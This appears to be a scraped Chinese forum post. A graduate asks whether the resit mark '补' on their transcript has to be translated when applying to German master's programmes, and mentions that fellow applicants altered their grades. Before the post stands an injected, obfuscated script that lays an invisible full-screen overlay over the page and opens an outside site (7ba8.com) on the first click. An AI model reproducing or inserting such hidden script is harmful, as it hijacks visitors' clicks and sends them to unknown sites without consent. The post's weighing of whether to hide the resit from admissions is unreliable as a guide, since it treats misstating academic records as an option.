<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我今年本科毕业 国内非211 非重点大学
想要今年冬天去德国念硕士 现在通过中介正在申请中 需要翻译公证本科的成绩单
但是本科有挂过科 是补考过的，所以成绩单上对应的科目就有一个“补”字
我想问一下 翻译的时候这个补字也需要翻译吗？如果没有翻译会被学校查出来吗？会被认为是提供了虚假的成绩了什么的吗？
还有如果翻译了对申请的成功率会有影响吗？会不会影响申请时的印象啊。。。
不想翻译是因为觉得本科的成绩本来就不是很好 而且学校也很普通 没有优势
而且我是团审 跟我一起审的几个人都是把成绩改过的 都很高分而且也没有补考
我们是申同一个学校 所以就更怕自己如果带个补字会对申请有很大影响
但是不翻补字又怕会被查出来什么的。。。
所以现在十分纠结呢~有没有知道的亲帮忙给说一下啊。。十分感谢！！！ |
收藏